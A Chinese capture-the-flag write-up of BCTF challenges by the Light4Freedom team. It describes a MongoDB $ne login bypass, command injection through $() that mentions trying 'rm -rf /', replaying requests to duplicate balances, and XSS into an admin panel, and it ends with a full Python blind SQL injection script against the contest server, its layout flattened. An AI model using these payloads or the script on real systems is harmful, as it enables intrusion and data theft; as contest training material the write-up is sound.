自从Light4Freedom战队带来了Light4Freedom战队BCTF攻略(上)之后,反响非常强烈,没参加比赛的同学也感受到了比赛的激烈,本次Light4Freedom带来了BCTF攻略系列第二篇,堪称大作,详情如下:
0x0A 小菜一碟[200] From TeddyJoy
过程:
通过对程序逆向,idt7 中有注释,可以得到如下几个公式:
以下所有公式的 t 代表输入的字串(只能为 0-9 的数字)在内存中经过变换后的字符数组下标
M0 = t6 * t7 % 10 M1 = t7 + ( t6*t7/10 ) t0 = M1 - ( (M1/10) *5 *2 ) M01 = t6*8 % 10 M11 = 8 + (t6*8/10) t1 = (M11 - ((M11/10)*5*2)) + M0
通过以上公式可以写出 python 代码(while.py),确定输入字串中的 0,1,5,6 位取任意一组(1111.txt 文件中的数据): 6 9 2 5
从 sub_401000 函数中得到公式如下:
M02 = (t*b)%10 M12 = b + ((t*b)/10) M03 = (t*a)%10 M13 = a + ((t*a)/10) F = M03 + (M12-((M12/10)*5*2)) F1 = M13 - ((M13/10)*5*2) G = (M12/10) + (F1 + (F/10))
通过以上公式可以写出 python 代码(401000.py), 确定输入字串中的 3,4,7,8 位
取任意一组: 0 8 0 9
再通过源程序中 while 循环后(sub_401000 函数前)的简单判断,确定输入字串的 2位
到这里就确定了前 9 位:6970 8250 9 …
最后在源程序中发现程序会根据输入的字串生成一个新的字串,该新字串的最后 7位和输入的字串相同就可以通过。
所以最后输入字串:6970 8250 9699 6108
===================Light_4_Freedom=================
0x0B 神秘系统[400] From howmp
文件索引结构
db hasfile db 00 db datalen db 00 db key1 db key2 db*4 unknow db*16 filename xor by 0xcc 数据块结构 db 01 db 00 db*4 unknow (FFFFFFFF 表示结果) db*0x1A data d[0]^ key1 ^ 0 d[1]^ key2 ^ 1 只有这一次的 key 不一样 d[2]^ key1 ^ 2 d[3]^ key1 ^ 3
直接在 bctfos 文件中搜索 01 00 即可定位到 1 个文件索引结构,6 个数据块结构
提取之后排列组合解密到有意义的字符即可
Dear CTFer,
if you see this message, you have completely understood my OS.Congratulations!\x03\x03Here is what you want:
BCTF{6e4636cd8bcfa93213c83f4b8314ef00}
===================Light_4_Freedom=================
0x0C 分分钟而已[100] From EvilMoon
描述
米特尼克看到现代的互联网这么发达简直惊呆了,但几秒钟之后他就回过了神,
摩拳擦掌准备一试身手,他需要拿到 BAT 公司中一个名叫 Alice 员工的秘密文件,Alice 只是个初级的网络 管 理 员 , 所 以 想 来 拿 他 的 文 件 也 不 过 是 分 分 钟 的 小 游 戏 而 已 。
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php
题解
其实题目名字本身就是一个 tip,解题不需要考虑太多,但是题目却把大家带到一坑里,
观察每个人名不难发现, 参数后面跟的是 md5(name+random_num),由于跟的是一个三位id数的数字,题目说寻找 alice,所以将 alice 和一个三位数字加一起枚举下 md5 可以得到Alice478 的 md5 后有东西。
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php?id=d482f2fc6b29a4605472369baf8b3c47
访问
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/d4b2758da0205c1e0aa9512cd188002a.php
之后发现是一张图片,便察看源码
发现有这么一个类似 tip 的东西,但是事实证明- -。这是个坑。许久没搞定之后,想说题目说是分分钟搞定,便挂了一个扫描路径的。便可得到:
http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/config.php.bak
Config.php.bak
下载后,打开
一眼认出是 jother 编码
果断丢到 console 跑一下
便可得到 flag。
===================Light_4_Freedom=================
0x0D 真假难辨[200] From Mr_half
点入链接发现有如此提示
感觉像是要修改 cookie 之类的,可是查看 cookie 发现没有任何 cookie,于是猜测是有hidden 的表单需要修改提交
果然如此,于是尝试将 ip 改成 127.0.0.1 之类的成功登入。
发现出现基础认证的登陆框。往往觉得这样的登陆框要绕过,无非一是下载.htaccess,找到.htpasswd,二是可能服务器的htaccess 有缺陷,将提交方法由 POST 改成 GET 或是其他的则有可能可以绕过。结果两种方法都尝试了发现都无法绕过,纠结抓狂时顺手打了 admin, admin 成功登陆……
发现要打游戏。一般而言感觉正常人没法通关这个游戏,于是查看源代码。
敏感的文件应该是那个 js,于是继续读。
看到这里发现有很多参数,第一反应是修改 life 让自己血无限大,于是便可以通关,结果发现通关后
感觉一定是有什么问题,于是在代码中寻找 once again 这句话,发现:
是必须要杀死十只怪物,于是才会出现 key。然而也发现了 key 的产生过程,知道了其中一个参数 deadghost 是 10,不知道前面的 key 的参数。于是先看一看 authnum 函数的运行机制。
顺便看看 key 的来源。
发现 key 来源于两个参数,其中一个还是 player 的本身的一些数值。
而 player.pe 是来自于移动速度和生命值。说明这俩不能改。
于是觉得可以修改
这两个参数,上面一个是射击速度,下面一个是受伤害的间隔。将上面调到无限小则攻击 max,下面调大则相当于一个无敌buff。
可是最后发现 flag 出错。
最后发现思路错误,正确思路是因为 key 是一个固定值,所以直接通过 console 让他跳出来就是了。
于是得到 flag。
===================Light_4_Freedom=================
0x0E 见缝插针[300] From EvilMoon
描述
在玩过管理员的小游戏并发现秘密信息之后,米特尼克决定研究一下这个管理员管理的所有站点, 大多数都被米特尼克翻了个底朝天, 直到他发现了这个网站。
http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/
题解
直接打开 web300 站点,察看源代码后发现如下 tip
于是下载 test.php.bak
理解代码后发现题目要求实则要求我们在 key 那边写一个长达 15 个字符的字符串,并通过正则,而后执行 room。
http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/query.php?key=1
1a1111FF112121&room=1
本人用 key=11a1111FF112121 通过了 key 的正则检查。
在 room 时卡了许久,发现许多符号被过滤了,”&” “|” “`” 等,执行命令无果,便下载 room 来逆向。发现没太多东西,而后将视线转向 shell。想到`command` 相当于是执行了一个命令,而后发现$()仍然可以执行命令,但是$()这类执行结果是返回给的 room 程序。不会回显,遂开始重新思考,该如何绕过。考虑必须在 14 个字符内执行命令,所以反弹一个 shell 是不可行的,经过扫描发现服务器开了 22 端口,大胆猜测 web 服务是不是用 root开启的,如果是则可以添加一个用户,直接登录服务器拿 flag。但是事实证明不是这样的,因为我发现 rm -rf /是没效果的。所以考虑该题是用什么形式给的 flag。便想到可能是用文件名的形式来给 flag。所以便开始研究回显的问题。发现如果只返回一行,room 则有回显,如果超过一行,room 则报错,用 id 和 id -u 即可测试。故用 ls 命令加上通配符再加上枚举只需要写一个小程序判断是否出现 room 的密码,完美绕过官方的解题思路。如$(ls BCTF*)$l(ls *BCT{*)。
得到 flag:
BCTF{Yooooo_4_God_sake_aay_is_so_C00l}
===================Light_4_Freedom=================
0x0F 冰山一角[400] From EvilMoon
描述
在上一个站点中米特尼克学会了特殊的 Web 技巧,在开始渗透前,他会左顾右盼装作看风景。他对 BAT 这个公司的好奇与日俱增,似乎 BAT 并不像是表面上看起来的那样,仅仅是个互联网公司。他追寻一系列蛛丝马迹找到了这个站点,里面似乎隐藏着 BAT 的一项核心机密。站点入口:http://218.2.197.240:1337/0cf813c68c3af2ea51f3e8e1b8ca1141/index.php(注意:
本题 flag 非“BCTF{可见字符串}”形式)
题解
该题由于官方的一个失误没有关闭 mongodb 的远程访问端口,导致上午思路完全跑偏,研究 mongodb 的漏洞去了,不过也是如此让我知道 mongodb 的一些特性。所以 web400 的第一步登录那边需要绕过登陆验证,即绕过 mongodb 的登陆验证。
参考:
https://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-leas
t/
当时不甚理解$ne 的含义,便只是尝试 password 那的 ne。而后静下心来查了一些 mongodb的资料发现。
$ne selects the documents where the value of the field is not equal (i.e. !=) to the specified value.
This includes documents that do not contain the field.
使用"$ne"
查出所有 name 不等 refactor1 的文档,注意 文档中不存在键 name 的文档也会被查出来
db.users.find({"name":{"$ne":"refactor1"}})
所以就好理解了,有可能是 username 也不知道,直接用 ne 绕过
便能得到下一步的 tip
http://218.2.197.240:1337/0cf813c68c3af2ea51f3e8e1b8ca1141/you_guys_fxxking_smart.jpg
问题出在他的那边返回写了 true 则会返回 2 进制的 hash,这里面就有文章可以做了。
而且这边给出了源代码,按图索骥,不难查到这题撞题了。
http://dc406.com/component/content/article/393-sql-injection-with-raw-md5-hashes.html
这题细细分析,不难得出只要加密后存在 md5(’=’)的 hash 便可绕过验证,但是本题有个问题,是什么呢?就是他加盐了。但是随后官方给出 hint:盐在头中,名字则为 bob 喜欢第一个字母则是 b。所以只需要枚举 hash(xxxb)。但是用’=’来枚举,发现怎么都跑不出来,而后思考,不可能给太大。所以就想是否是用了其他的绕过,然后本人就可耻的用 burp suite 枚举了 1-10000 的数值。发现 9384 给出了 password
其实到这边只需要取 16 进制到 cmd5.com 查询下就能出 flag 了
本人也的确这么做了…
查出来的 flag 是用 sha512 做的 hash。两个合起来就是 flag
b1u310tus
但是本着探究的精神,本人用 sha512 给 9384 做了一次 hash
最后发现官方是用的’+’来绕过=。=#
所以本题结束。
===================Light_4_Freedom=================
0×10 花钱如流水[500] From EvilMoon
描述
米特尼克之前从 FBI 那里搞到一大笔比特币,一秒钟变土豪,提现之后挥霍无度,更是被街上兜售绝世武林秘籍的老大爷狠狠地骗了一笔,结果一大笔巨款竟然被他分分钟用完了,他只好把目光投向了一个比特币交易平台M7G0x , 85w 比特币在等待着你哟少年 。
http://218.2.197.241:9080/d5a9b455db0929e17a2e12d21e786643/
题解
本题一共有三个步骤:
步骤一:变土豪,帮助中提示要有 200 个 btc 成为高级会员。
初期注册他会给你 10000 块软妹币。如果系统是初始化的状态你用 10000 块就能买 1btc。
但是由于存在其他玩家市场就被打乱了。但是方法大同小异,因为 btc 价格有个上限,所以如果存在其他玩家的情况下,只需要先刷 rmb 再买一个 btc 来处理就 ok。刷 rmb 的方法和刷 btc 的方法一样,直接看下面。
一开始注册的初始状态。
买入一个 btc。
然后挂奇高的价格,让这个 btc 别人买不到,就能产生一个挂单。
产生挂单后,在逻辑上,如果关闭这个挂单 btc 是会返回到你的帐户内的,但是如果没有验证该次返回是否已经执行过了,只需要一直关闭挂单,就可以有源源不断的 btc 返回到你帐户内。
我关闭的链接为:
http://218.2.197.241:9080/d5a9b455db0929e17a2e12d21e786643/?act=trade_close&id=7
599
而后用 burp suite 不断提交 n 次请求,刷到 btc 有 200,即可。然后退出重新登陆就是高级会员了。
嗯~高富帅阿~~
既然成为了高级会员是不是就能做点什么害羞的事情呢。比如专门的客服什么的。
但是发现买有这个客服!所以我们就注意到提现这个功能,可能只有高级会员可以送到后台去(奸商
阿!摔)。只需要往里面写点什么东西,就能 xss 到后台去。
http://218.2.197.241:9080/d5a9b455db0929e17a2e12d21e786643/?act=index&show=setting&a
dmin=1
一开始怀疑是不是在这边改配置然后写入一句话,然后在 config.php 那边连接从而拿到服务器权限。
然而- -
好吧。那就让我们在开动下我们聪明的小脑袋瓜,想一下还有什么点。就在这时放出了一个
大 hint。SQLi!
既然是 SQLi,而且是需要我们先能打到后台,意味着注入点只会是存在后台特有的功能,后台特有的功能是什么呢?
1、查看交易纪录。2、充值。3、修改公告。4、提现纪录。
一个个筛选后,并且题目提示 sqlmap 不用想了,所以直接能排除提现纪录。而后开始考虑留言板注入,发现留言板没问题,xss 没有注入没有。然后再将目标转到充值上,一开始考虑到 update 是能够注入的,有没有可能是将 admin 的密码改了,登陆的时候便可以拿到 flag。但是测试后发现,update 应该是写了正则匹配数字,所以这条路也失败了。最后只剩下交易纪录这一项。可以看到,交易记录那边存在着返利功能。
点返利以后,用 burp suite 截获一下
通过改包发现
如加单引号则返回 500
加 and 1=2 后返回 200 但是返利按钮仍然存在
加 and 1=1 返回 200 并且返利按钮不见。
证明这是个注入点,如果 sql 语句不正确则返回 500 如果正确则返回 200。如果该语句为真则执行后续的流程,返利给用户,如果为假则不返利。
所以我们就可以执行盲注来猜解了,由于之前是手工猜解,已经知道存在一个 flag 的表,有两个字段 id 和 text。Flag 则在 text 字段中,所以下面的脚本只做猜解 flag 用,但是只要稍微修改下则可以搞定其他的猜解。
代码如下:code debug by dc2014 & EvilMoon
#!/usr/bin/python #-*-coding:utf-8-*- import httplib,urllib,re import time def get_btc_order_id(cookie): order_id = 0 params = '' headers = {"Content-Type":"application/x-www-form-urlencoded", "Connection":"Keep-Alive","Referer":"", "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS AppleWebKit/537.36 (KHTML, like Gecko) \ Chrome/33.0.1750.146 Safari/537.36","Cookie":cookie} conn = httplib.HTTPConnection("218.2.197.241:9080") X 10_9_1) conn.request(method="GET",url="/d5a9b455db0929e17a2e12d21e786643/?act=index&sho w=trade&admin=1",body=params,headers=headers) response = conn.getresponse() print "get_btc_order_id:",response.status print "get_btc_order_id:",response.reason web_detail = response.read() orderid_str = re.findall(r'\"\d{4,5}\"',web_detail) if orderid_str !=[]: print orderid_str order_id = int(orderid_str[0][1:-1]) #print order_id else : print "none" conn.close() return order_id def buy_btc_2_get_order(cookie): print 'buy_in' params = urllib.urlencode({'price':'1','amount':'1','pin':'654321'}) headers = {"Content-Type":"application/x-www-form-urlencoded", "Connection":"Keep-Alive","Referer":"", "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X AppleWebKit/537.36 (KHTML, like Gecko) \ Chrome/33.0.1750.146 Safari/537.36","Cookie":cookie,'Content-Length':len(params), 10_9_1) "Referer":"http://218.2.197.241:9080/d5a9b455db0929e17a2e12d21e786643/?act=my&s how=buy_btc"} conn = httplib.HTTPConnection("218.2.197.241:9080") conn.request(method="POST",url="/d5a9b455db0929e17a2e12d21e786643/?act=buy_btc", body=params,headers=headers) print 'post_ok' response = conn.getresponse() print "buy_btc_2_get_order:",response.status print "buy_btc_2_get_order:",response.reason #print response.read() order_id = get_btc_order_id(cookie) conn.close() return order_id def sql_inject(char_num,ascii_num,cookie,order_id,fh): #order_id = get_btc_order_id(cookie) inject_e = ' and ascii(substring((select text from flag limit 0,1),%d,1)) = %d' %(char_num,ascii_num) inject_b = ' and ascii(substring((select text from flag limit 0,1),%d,1)) > %d' %(char_num,ascii_num) inject_s = ' and ascii(substring((select text from flag limit 0,1),%d,1)) < %d' %(char_num,ascii_num) if fh == 0: order_id_inject = str(order_id)+inject_e if fh == 1: order_id_inject = str(order_id)+inject_b if fh == 2: order_id_inject = str(order_id)+inject_s #params = urllib.urlencode({'id':order_id_inject}) params = "id="+order_id_inject print params headers = {"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8", "Host":"218.2.197.241:9080", "Accept": "*/*", "Origin": "http://218.2.197.241:9080", "Cookie":cookie, "Content-Length":len(params)} conn = httplib.HTTPConnection("218.2.197.241:9080") conn.request("POST","/d5a9b455db0929e17a2e12d21e786643/?act=trade_promote&admin =1",params,headers) print "len(params) :",len(params) response = conn.getresponse() print "sql_inject:",response.status print "sql_inject:",response.reason conn.close() #raw_input() order_id_1 = get_btc_order_id(cookie) print "=======order_id :",order_id,"===================" print "=======order_id_1:",order_id_1,"===================" # 如果新得到的订单号和原来的不一样,则说明执行成功了 if order_id_1 != order_id: return 1 else: return 0 cookie = "PHPSESSID=gho1t466klpce24pf31d91s242" i = 1 start = 21 end = 126 s='' order_id = get_btc_order_id(cookie) if order_id == 0: order_id = buy_btc_2_get_order(cookie) while 1: k = 0 while k == 0: mid = (start + end)/2 print '****************************************************************************** *' print 'i',i print 'mid',mid da = sql_inject(i,mid,cookie,order_id,2) #time.sleep(1) xi = sql_inject(i,mid,cookie,order_id,1) #time.sleep(1) eq = sql_inject(i,mid,cookie,order_id,0) #time.sleep(1) print 'da',da,'xiao',xi,'eq',eq if da == 1: print "smaller than " + chr(mid) end = mid - 1 order_id = buy_btc_2_get_order(cookie) print order_id else: if xi == 1: print "bigger than " + chr(mid) start = mid + 1 order_id = buy_btc_2_get_order(cookie) else: if eq == 1: print "equal with " + chr(mid) k = 1 i += 1 s = s + chr(mid) print "some of flag:",s start = 21 end = 126 order_id = buy_btc_2_get_order(cookie) if chr(mid)=='}': print "flag:" + s raw_input() exit()
得到 flag :
BCTF{Bitcoin_is_Gold_Litecoin_is_Silver}
===================END===================
PS:再次感谢Freebuf小编嘎巴嘎巴不惜辛苦的排版么么哒~